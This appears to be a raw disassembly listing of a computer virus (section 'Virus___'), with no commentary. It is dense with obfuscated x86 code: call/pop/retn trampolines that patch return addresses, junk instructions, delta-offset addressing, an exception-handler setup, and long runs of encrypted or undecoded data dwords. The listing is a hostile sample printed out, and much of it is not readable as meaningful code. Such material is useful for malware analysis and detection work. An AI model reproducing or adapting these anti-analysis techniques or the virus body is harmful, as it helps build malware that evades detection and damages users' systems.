		mov	bx, 7797h
		mov	dh, 85h
		popa
		cmp	dword ptr [esp+24h], 10000000h
		ja	loc_5740FB
		pusha
		mov	eax, [ebp+71B2185h]
		sub	esi, [ebp+71B3169h]
		popa
		push	eax
		jno	loc_574036
		jmp	loc_574036
; ---------------------------------------------------------------------------
		db 0EBh, 0D9h, 2Fh
		dd 663E2CB3h, 76B48FE1h
		db 81h,	62h
; ---------------------------------------------------------------------------


loc_574036:				; CODE XREF: Virus___:0057401Ej
					; Virus___:00574024j
		mov	[esp], eax
		push	0
		push	ebp
		call	sub_574044
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_574044	proc near		; CODE XREF: Virus___:0057403Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_574044	endp

; ---------------------------------------------------------------------------
		dd 77520CECh, 18A19D29h, 448B071Bh, 6A2824h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 89E2E1C3h
		dd 1B32ADB5h, 52509007h, 52505250h, 585A310Fh, 8F0F310Fh
		dd 0
		dd 310F585Ah, 0AE9h, 2D90B200h,	9E946B63h, 5A999C21h, 9E95058h
		dd 0CD000000h, 8B5DEFFDh, 0A418B1EAh, 1D9D8990h, 8D071B34h
		dd 1E373785h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 7FE00DFBh, 5E913h, 7E5F0000h, 0FF01BFAFh
		dd 0E9BD89D0h
; ---------------------------------------------------------------------------
		and	al, 1Bh
		pop	es
		assume es:nothing


loc_5740FB:				; CODE XREF: Virus___:00574009j
		jmp	near ptr dword_5739BC+52Bh
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_57410B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57410B	proc near		; CODE XREF: Virus___:00574103p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_57410B	endp

; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------
		imul	ecx, [esi+6Dh],	-66h
		or	[ebp+71B2861h],	eax
		mov	[ebp+71B1385h],	esi
		lea	eax, [ebp+71E9202h]
		push	0
		push	edx
		call	sub_57413D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57413D	proc near		; CODE XREF: Virus___:00574135p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_57413D	endp

; ---------------------------------------------------------------------------
		db 0A2h, 5, 2Eh
		dd 0F09449Bh, 18Bh, 5050F900h, 12810F52h, 0E9000000h, 0Dh
		dd 9325558Ah, 83B7CDB6h, 46A57C41h, 60310F82h, 8069BE66h
		dd 5A615A50h, 24048958h, 1850Fh, 0F8F50000h, 35FF64h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0F5C3C355h, 6024048Bh, 896197B1h,	1B043185h
		dd 8964F507h, 25h, 9E900h, 0DB840000h, 0CEEB6B2h, 8D453DB4h
		dd 1E90C485h, 0F9958907h, 89071B21h, 6A0160h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0DC4082C3h
		dd 2570E691h, 0B589C080h, 71B22E1h, 188E9h, 0AE900h, 0BA700000h
		dd 1DE6D4FAh, 0B3CFA783h, 0E8DB8Bh, 5D000000h, 90BDED81h
		dd 9CBC071Eh, 830012FFh, 1B30B9BDh, 18740007h, 7D858Bh
		dd 0C6071Bh, 0BD858B00h, 0C6071B24h, 95FF0000h,	71B145Dh
		dd 3BB5FF60h, 8D071E7Ah, 1E7A3F85h, 858D5007h, 71E7C37h
		dd 6D95FF50h, 83071B16h, 0F610CC4h, 98Dh, 0BF56000h, 1B03459Dh
		dd 880F6107h, 15h, 10E9h, 3A4DA200h, 8E0D11C7h,	22AFEB76h
		dd 6C0CA63Ah, 37B58D49h, 0F071E7Ch, 18Bh, 0BD8DF800h, 71B0685h
		dd 7890Fh, 0F600000h, 6160FEBFh, 3E8061h, 2B840Fh, 0BD890000h
		dd 71B2685h, 25AD8D89h,	0FA4071Bh, 181h, 8D09F500h, 71B2145h
		dd 0FFFFD8E9h, 6890FFFh, 89000000h, 1B0E75BDh, 0E9C02B07h
		dd 6, 839791EFh, 0E9AA3061h, 0Eh, 4BA61383h, 0C6E14BDh
		dd 7C686234h, 7B80602h,	0F9000000h, 3F985C7h, 1071Bh, 9E90000h
		dd 61000000h, 0A4DBA623h, 0D6DF7A34h, 4F898D8Dh, 8B0F071Bh
		dd 0Ch,	0D6816660h, 81663E33h, 61FAE1C6h, 6AE1FFh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8D89A2C3h, 71B2E0Dh,	0C245C8Bh, 0E855h, 815D0000h, 1E920CEDh
		dd 0B8838B07h, 89000000h, 1E7A3B85h, 0B6858D07h, 89071E90h
		dd 0B883h, 0C0335D00h, 858B60C3h, 71B220Dh, 60F861F8h
		dd 667CB760h, 8D61C78Bh, 1E941D85h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 60F5AFD4h
		dd 2445B509h, 8D09071Bh, 71B2B25h, 5050F561h, 5B506052h
		dd 50310F61h, 890F52h, 0F000000h, 5A616031h, 89585A58h
		dd 0B602404h, 1B23E58Dh, 0AE907h, 94600000h, 1A237BDh
		dd 0F19C39C4h, 35FF6461h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_574423
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_574423	proc near		; CODE XREF: Virus___:0057441Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_574423	endp

; ---------------------------------------------------------------------------
		pusha
		jmp	loc_574449
; ---------------------------------------------------------------------------
		db 2Fh,	65h, 0Eh
; ---------------------------------------------------------------------------
		sub	[ecx-102329A4h], al
		mov	ds:0BC805189h, al
		inc	edx
		lodsd


loc_574449:				; CODE XREF: Virus___:00574434j
		mov	large fs:0, esp
		push	0
		push	edi
		call	sub_57445B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57445B	proc near		; CODE XREF: Virus___:00574453p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_57445B	endp

; ---------------------------------------------------------------------------
		db 75h
		dd 234ECD7h, 89607D8Eh,	1B2CDDB5h, 0C68B6607h, 39BD2961h
		dd 8D071B11h, 1E94B585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 45450B3Dh, 60D5CBDFh
		dd 15EDBD8Bh, 8961071Bh, 95890160h, 71B0DA1h, 1C0585C6h
		dd 6A4F071Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0A75C356h, 6D0B0541h, 0AE98515h
		dd 0B5000000h, 5AF8087Bh, 790A1D57h, 0E28068C3h, 0AE9FE5Bh
		dd 26000000h, 17F40DC7h, 4BAE749Fh, 24048145h, 6C91AAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0B0C35040h
		dd 0C07D0E20h, 84CEA393h, 2E11B5FFh, 8DFC071Bh,	1E7E7A85h
		dd 50536007h, 6E95A5Ah,	0C0000000h, 7B9DB7C7h, 0D0FF6150h
		dd 25858531h, 0C0E9071Bh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D8D0C352h
		dd 150F5FC7h, 7D9D89AFh, 8B071B29h, 550C245Ch, 0E8h, 0ED815D00h
		dd 71E9427h, 225D858Bh,	8589071Bh, 71B2E11h, 8CD858Bh
		dd 8589071Bh, 71B2295h,	0AD858Bh, 8589071Bh, 71B1EE5h
		dd 1C0585C6h, 0C700071Bh, 1E7FC985h, 7,	0B5858D00h, 89071E94h
		dd 0B883h, 0C0335D00h, 57006AC3h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 391C5A47h, 26119E84h
		dd 8F0FE8BBh, 6, 0BB58589h, 8589071Bh, 71B2801h, 6E9h
		dd 6E979600h, 0BC55BA6Dh, 12FF74h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 6DC35242h, 0B0C9DB11h, 59B3CA29h
		dd 9E9B5h, 82C60000h, 51EFE146h, 64AD1C0Eh, 58Fh, 9E90000h
		dd 0C3000000h, 2D0E5075h, 0AFE64641h, 68D0Fh, 8D290000h
		dd 71B20F5h, 6A04C483h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 60EDC350h, 0D5B7BBF8h
		dd 616121E5h, 0AE8h, 4D421C00h,	336F8A5Ah, 0E80D701Eh
		dd 12h,	24D99E3Ch, 0C97E7113h, 0E8E306DDh, 79262F46h, 8D898FB7h
		dd 71B0DEDh, 0DBB6585Eh, 6F45C081h, 0F88B0000h,	1BACB9h
		dd 75BD2300h, 8B071B0Bh, 0E1950B18h, 81071B18h,	8630EDEBh
		dd 0B1C38169h, 0F5361B51h, 0B519C381h, 0B5295F5Ah, 71B1E81h
		dd 61B58953h, 8F071B18h, 0DD958900h, 81071B0Ch,	8D51A8E8h
		dd 0AD9D0126h, 81071B17h, 8D51A4C0h, 0F98D8926h, 83071B09h
		dd 850F01E9h, 0FFFFFFAFh, 5E9h,	0CDDF3700h, 48E929C6h
		dd 44000001h, 48000000h, 4C000000h, 50000000h, 4Ch dup(0)
		dd 53000000h, 3005747h,	8D00ACC2h, 1E95D985h, 6D9D2B07h
		dd 89071B2Dh, 1E971985h, 68B0F07h, 29000000h, 1B24759Dh
		dd 585C607h, 54071B1Ch,	0AE9h, 4727A200h, 0EB5FC3C6h, 68067846h
		dd 0DB5CB3F9h, 481F78Bh, 5B43024h, 85315013h, 71B2F3Dh
		dd 11B5FF59h, 89071B2Eh, 1B12DDB5h, 8DFA8B07h, 1E7E7A85h
		dd 53C98007h, 50B5D0FFh, 971D8589h, 8166071Eh, 0E9146CCAh
		dd 4Eh,	1B01950Bh, 8B56071Bh, 1E9719B5h, 83068907h, 1E971985h
		dd 0C35E0407h, 0D9B58D60h, 0EB071E95h, 6A560Fh,	95FF36FFh
		dd 71E971Dh, 4C6835Eh, 75003E83h, 0FC361ECh, 586h, 0C181BF00h
		dd 0BD894F3Ah, 71B2ED9h, 2AD18D8Bh, 858D071Bh, 71E97AEh
		dd 28518D8Bh, 8589071Bh, 71B28E9h, 7E8h, 0AAE07200h, 82C72541h
		dd 2CB9B589h, 8159071Bh, 0F40A9AEAh, 33C18103h,	52000068h
		dd 26E18D89h, 335A071Bh, 0F9BD31C0h, 8B071B1Fh,	96BE013Ch
		dd 8112F435h, 49311CEFh, 2585297Eh, 81071B34h, 0ECB6BBF7h
		dd 5DB5893Ah, 81071B33h, 0D9D45EC7h, 0E1958B38h, 57071B30h
		dd 11E9h, 97A66700h, 8B86977Eh,	48BB7C5h, 4A22DF66h, 48F1820h
		dd 18F0F01h, 0F8000000h, 2D519531h, 0E883071Bh,	4848F801h
		dd 0CB816648h, 0F8819FBCh, 0FFFF9864h, 0FF95850Fh, 9D2BFFFFh
		dd 71B26F5h, 1C8F4FEBh,	8ABFA25h, 0ACDAC6A1h, 0D2D41CA4h
		dd 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h,	0E62AC7DDh
		dd 0DF1BCE17h, 0A6DB6734h, 6 dup(0)
		dd 0DDB48700h, 0D9202352h, 9Eh,	1259E900h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 660983C3h, 725F940Ah, 830F6Bh, 83000000h, 1B2105BDh
		dd 850F0007h, 79h, 1FE1950Bh, 33BA071Bh, 0B84EE795h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_574AA7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_574AA7	proc near		; CODE XREF: Virus___:00574A9Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_574AA7	endp

; ---------------------------------------------------------------------------
		db 0A5h
		dd 4688D076h, 0BA662A4Fh, 850F26F8h, 4,	0D977BA66h, 6A0004C2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 21A8C357h, 0E7626D86h, 0FE95Dh, 65410000h
		dd 2B5A5460h, 379AB084h, 3BA480A9h, 6AC08B51h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 8C39C352h, 0FD9D893Bh, 83071B22h, 1B1BD1BDh,	9750007h
		dd 1FD5BD83h, 7400071Bh, 8B535013h, 4D0B8C0h, 9D8D0000h
		dd 71DA98Ch, 585BD3FFh,	1FD5BD83h, 7400071Bh, 0B8535011h
		dd 4D0h, 0A8D99D8Dh, 0D3FF071Dh, 8166585Bh, 6A87DDC9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0BF0AC357h, 28759509h, 0C08B071Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0B7C35141h, 0BF508C84h
		dd 77FA8DA5h, 0DB858D5Fh, 66071E98h, 50D7CFBFh,	89F88B66h
		dd 7E82404h, 3A000000h,	0D7DE8DF6h, 0D9804A8Fh,	858D59FFh
		dd 71E9898h, 137D8D0Bh,	0E890071Bh, 5, 233C3078h, 0FE9D3h
		dd 65410000h, 2B5A5460h, 379AB084h, 3BA480A9h, 57505F51h
		dd 14E9h, 0CFA48400h, 1B449DD6h, 0E3300524h, 1D9AD6F2h
		dd 2124372Fh, 0E9905F2Ah, 0Ah, 8ACC01DAh, 97C8541h, 95FF1969h
		dd 71B0CD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	54C35343h, 11E256BBh, 8955782h,	448BF542h, 6A0424h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 536650C3h, 0B82D8FD0h, 0F18D8BAEh, 89071B2Fh, 1E98C385h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0D26A1B22h, 669BA663h, 448BD18Bh, 8B660824h
		dd 0D78589CAh, 1071E98h, 1B3441BDh, 5DBD8307h, 71B17h
		dd 0C5850Fh, 10E80000h,	18000000h, 0DB1F5B8Eh, 0EF2E510Fh
		dd 3F80CA04h, 0F95D3DAh, 0C659D1BFh, 1B1C0585h,	0D68B4707h
		dd 0D6821268h, 240481C8h, 0BC425C0h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 45C35141h, 0E781652Ah, 636A0691h
		dd 2279B589h, 0B5FF071Bh, 71B2E11h, 6880Fh, 0BD890000h
		dd 71B2405h, 7E7A858Dh,	6A071Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0F06B9FC3h, 8D8B34A2h
		dd 71B0555h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 1336DEC3h, 34AC908Bh, 8589F542h
		dd 71B175Dh, 83F8BF0Fh,	1B0D7DBDh, 850F0007h, 0E3h, 1BB99589h
		dd 85C6071Bh, 71B1C05h,	69858947h, 68071B31h, 5A1BF00Ah
		dd 81D08B66h, 0C5D82404h, 6A2FF3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 30933FC3h, 890DBCC1h
		dd 1B258D85h, 11B5FF07h, 6A071B2Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0FEEEC356h
		dd 8937387Eh, 1B1F95BDh, 6880F07h, 0F000000h, 8Dh, 7A858D00h
		dd 66071E7Eh, 668777BFh, 0FF8158B9h, 56006AD0h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 98AA4E1h, 0D7D8589h
		dd 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0C6576DC3h, 297DC1D3h, 896FD55Dh,	1B2E9195h
		dd 8382B507h, 1B0DADBDh, 850F0007h, 8Ch, 2E458D89h, 85C6071Bh
		dd 71B1C05h, 3DBA6656h,	0C65B6883h, 6E8E12Dh, 0AB000000h
		dd 0FF311A5Bh, 3481590Bh, 32AB6224h, 50006A35h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 2E29EC5Ah
		dd 7D7F2AB7h, 347DB529h, 8B50071Bh, 1B30A995h, 0B5FF5907h
		dd 71B2E11h, 12219503h,	858D071Bh, 71E7E7Ah, 0D89BD03h
		dd 0D0FF071Bh, 31158D2Bh, 8589071Bh, 71B0DADh, 0DE58D03h
		dd 9589071Bh, 71B1469h,	1C0585C6h, 6A6C071Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0CD4AC355h, 8E99783h, 4B000000h, 94DCD578h, 68527F19h
		dd 0BBBD0FA7h, 2121BF66h, 0DC240481h, 0E81F4860h, 8, 0BB864767h
		dd 29C3B808h, 5E95FFCh,	7A000000h, 87849073h, 225DB5FFh
		dd 8DF9071Bh, 1B3B0C85h, 81D0FF07h, 0D31873D9h,	0C7858900h
		dd 89071E98h, 1B2CA59Dh, 0E3BD8307h, 71E98h, 0E7850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 4EC3A7C3h, 0CE8B6635h, 1C0585C6h,	6A49071Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 77C7C355h, 0E953F935h, 6,	831CE48Ah, 6859C9D4h
		dd 8657E391h, 6E9h, 9AF8C800h, 8108036Fh, 46582404h, 6A05BDh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0DF1734C3h, 29FA616Dh, 80E44D7Ch, 958971F6h,	71B2765h
		dd 225DB5FFh, 6A071Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0D407E4C3h, 5F7AB9BDh, 858D2C81h
		dd 71B3B0Ch, 6DDA8166h,	29B58975h, 0FF071B19h, 37BF66D0h
		dd 0E385893Fh, 29071E98h, 1B354DBDh, 81046A07h,	79CE7EF1h
		dd 2C5C686Ah, 800F8F0Ah, 3, 81D78B66h, 0E3A42404h, 0E18070F5h
		dd 6890FD7h, 89000000h,	1B17BDB5h, 4E807h, 0
		dd 850F0001h, 0Eh, 9E9h, 0D57A0A00h, 0A6D195A6h, 505061A9h
		dd 0FCE8B52h, 0D08B6031h, 15E4BE66h, 8B585A61h,	66042444h
		dd 8BFB8Bh, 310F5250h, 14E860h,	0DC9F0000h, 6D55AC6h, 5EB5B6ABh
		dd 6E0CE8F9h, 4BF0CAD4h, 0F5ACD97h, 81h, 585A6100h, 4244489h
		dd 0E8E0Fh, 52500000h, 0FD38B66h, 5521BA31h, 585A7984h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8BC6F6C5h, 1B1EF98Dh, 6A006A07h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0A25CC351h, 3CEABC68h, 0C6281D3Dh, 26C195FFh, 8589071Bh
		dd 71E98D3h, 11EF8166h,	0CB85C72Ch, 71E98h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0F6AFC356h, 0FE8083E8h, 6653006Ah, 685FD38Bh
		dd 130CA639h, 3481B4B5h, 0DA63924h, 55006A13h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 87D441ABh
		dd 958B9C32h, 71B04E5h,	895AB550h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8C0F5BC3h
		dd 2, 0CE9F1B5h, 0DA000000h, 333106CBh,	8FF29238h, 6A30933Fh
		dd 57006A0Bh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 7E265A71h, 7BE97990h, 98A0858Dh,	958B071Eh
		dd 71B0D25h, 11E950h, 19E80000h, 6937DA6Bh, 5B6489EFh
		dd 3EB516EDh, 898D7E4Dh, 0EE92404h, 0
		dd 9341D025h, 7C24E452h, 836385BEh, 5D95FF4Dh, 0BA071B17h
		dd 5A41328Ah, 98AAB58Dh, 8B66071Eh, 29BA96FBh, 506FE141h
		dd 6A96CE8Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 8ED7C350h, 8D8B2738h, 71B1F2Dh
		dd 505A5790h, 0FF90C5B1h, 1B0D7D95h, 14E907h, 0D1C10000h
		dd 6FD0733Ah, 4F8F8299h, 4410FCDDh, 0BD6273ECh,	8A0F85E5h
		dd 5, 35CA8166h, 0FC00BB6h, 5685h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8937B4DEh
		dd 1B1209BDh, 7A9E907h,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 29331C3h, 39EEED03h
		dd 150DBD89h, 19BA071Bh, 0FF54FE7Fh, 2800FD0h, 8B000000h
		dd 0D3B58BFAh, 6A071E98h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0C3B7C353h,	6A20468Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 7242C351h, 11E9h,	31EE1500h, 964EF26Bh, 9A03FE6h
		dd 57994A95h, 46A8052h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0C2C35343h, 3DAA6492h, 0D9D292Bh, 8B071B28h
		dd 1B232D95h, 52509007h, 5ACF8B51h, 5250310Fh, 310FE2B5h
		dd 19DBBF66h, 585A585Ah, 6738B950h, 6A905C09h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 4F0FC353h, 3627AB5Dh, 8E9h, 0E26F5300h, 609708B0h, 0E395FF96h
		dd 9071E98h, 1B31958Dh,	0FC00B07h, 2584h, 0F1816000h, 54974683h
		dd 449BD89h, 8B61071Bh,	1B30A9BDh, 671E907h, 8B0F0000h
		dd 6, 2F8D958Bh, 7E80071Bh, 840F0020h, 65Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9AC35646h, 9995892Ah
		dd 60071B2Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 16h,	9FC35747h, 0B5899437h, 71B278Dh, 6020468Dh, 2E818509h
		dd 8960071Bh, 1B2385B5h, 0F5858907h, 61071B35h,	0CF858961h
		dd 31071E98h, 1B1FA58Dh, 218D8B07h, 0E9071B2Eh,	12Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0F1C35545h, 494C20BEh
		dd 40BED4F2h, 8240D981h, 50904428h, 50310F52h, 0AA66BA52h
		dd 310F67DFh, 860Fh, 585A0000h,	6650585Ah, 90B0F8BFh, 6A046Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 2A6B89C3h, 0A4AF5D6Bh, 90FBB70Fh, 0D07571BFh, 3EBA5051h
		dd 9022D03Eh, 0CE9h, 8C610700h,	2B775DC3h, 0F75BA6A3h
		dd 0E395FF36h, 60071E98h, 3840Fh, 8B660000h, 0B9B589F1h
		dd 61071B24h, 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0F7E2F4C3h, 5860Fh, 81660000h, 58FA0CD2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 8FC35646h
		dd 840FDB0Bh, 39h, 2F29BD23h, 0E9F5071Bh, 4E3h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DCC35646h, 3AA4112Ch
		dd 6820FC8h, 31000000h,	1B11459Dh, 388007h, 0FEED850Fh
		dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 19370AC3h, 0F563D148h, 7E9h, 0AD9D8900h
		dd 48071B23h, 98CF853Bh, 820F071Eh, 41h, 21B58D8Bh, 3880071Bh
		dd 32840F5Ch, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 5B5C356h, 0F2F3880h
		dd 0FFFFBE85h, 499509FFh, 89071B26h, 1B058985h,	83F84007h
		dd 1E98D7BDh, 840F0007h, 1A0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 67C35545h, 8950A51Ah, 0BA662404h
		dd 8503EB97h, 71E98D7h,	7E9h, 0D0580C00h, 0ACC2BF5Ah, 0BB666090h
		dd 12E8F62Ch, 71000000h, 0B438B540h, 0FDC2F6F9h, 5C1114BEh
		dd 0D704DAC6h, 50615AA5h, 6A90F98Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 5B3FC355h
		dd 0B2B49B3Eh, 1879B531h, 8B66071Bh, 6A046ACAh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0D0BAC356h, 50B4ABCCh, 2EE9BD8Bh, 9059071Bh,	6E8h, 28939700h
		dd 0E990456Ch, 13h, 7BE6ED6h, 0F62BFC1Eh, 0DE798FDCh, 89A5C16Bh
		dd 5F585E32h, 0DE850h, 1FDD0000h, 0FF63A16Dh, 48A3B54Dh
		dd 0B9DAE60Bh, 2C3CCEADh, 800F905Ah, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+71E98E3h]
		mov	ch, 0A0h
		mov	ebx, eax
		mov	edx, ecx
		pop	eax
		push	0
		push	ebx
		call	sub_5757CC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5757CC	proc near		; CODE XREF: Virus___:005757C4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5757CC	endp

; ---------------------------------------------------------------------------
		test	[edi+73h], ecx
		xlat
		dec	edx
		mov	ecx, 1115A43h
		mov	[ebp+71B1769h],	edx
		or	ebx, ebx
		jz	loc_575835
		adc	dl, 59h
		pusha
		call	sub_575810
		sub	dh, [eax-47h]
		mov	eax, ds:0C9222CF7h
		dec	ecx
		aad	33h
		sbb	al, 0C0h
		cmp	[ecx-0F0FF6EBh], bl

; =============== S U B	R O U T	I N E =======================================



sub_575810	proc near		; CODE XREF: Virus___:005757F8p

arg_1C		= dword	ptr  20h

; FUNCTION CHUNK AT 00575AE3 SIZE 00000023 BYTES

		mov	ebx, [ebp+71B21A5h]
		pop	edi
		popa
		jmp	loc_575AE3
sub_575810	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	[ebp+71B2249h],	esi
		jmp	loc_575835
; ---------------------------------------------------------------------------
		jmp	short loc_575863
; ---------------------------------------------------------------------------
		dw 6969h
		dd 9B2838B9h, 7EA68CCEh
		db 10h
; ---------------------------------------------------------------------------


loc_575835:				; CODE XREF: Virus___:005757EEj
					; Virus___:00575823j
		mov	byte ptr [eax],	0
		call	near ptr loc_575844+1
		mov	ds:0A744D9FEh, eax
		mov	dh, 0C9h


loc_575844:				; CODE XREF: Virus___:00575838p
		test	[ecx-12C2AD0Fh], eax
		and	eax, 0EE95859h
; ---------------------------------------------------------------------------
		db 0
		dd 4FDF0000h, 0CF6CAAADh, 0FEBAACAEh, 0CD804892h
		db 90h
		db 66h,	0B9h
; ---------------------------------------------------------------------------


loc_575863:				; CODE XREF: Virus___:00575828j
		mov	ch, ch
		push	eax
		mov	dx, cx
		nop
		push	0
		push	ebx
		call	sub_575875
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_575875	proc near		; CODE XREF: Virus___:0057586Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_575875	endp

; ---------------------------------------------------------------------------
		db 7Ah,	3Eh, 0A4h
; ---------------------------------------------------------------------------
		imul	ebp, esi, 0A2FC473Dh
		dec	eax
		mov	ch, 0FAh
		mov	edi, 387E94F8h
		push	1Eh
		push	0
		push	ebx
		call	sub_5758A3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5758A3	proc near		; CODE XREF: Virus___:0057589Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5758A3	endp

; ---------------------------------------------------------------------------
		xor	ebp, [edx+206B6FB2h]
		jnb	short near ptr loc_575910+1
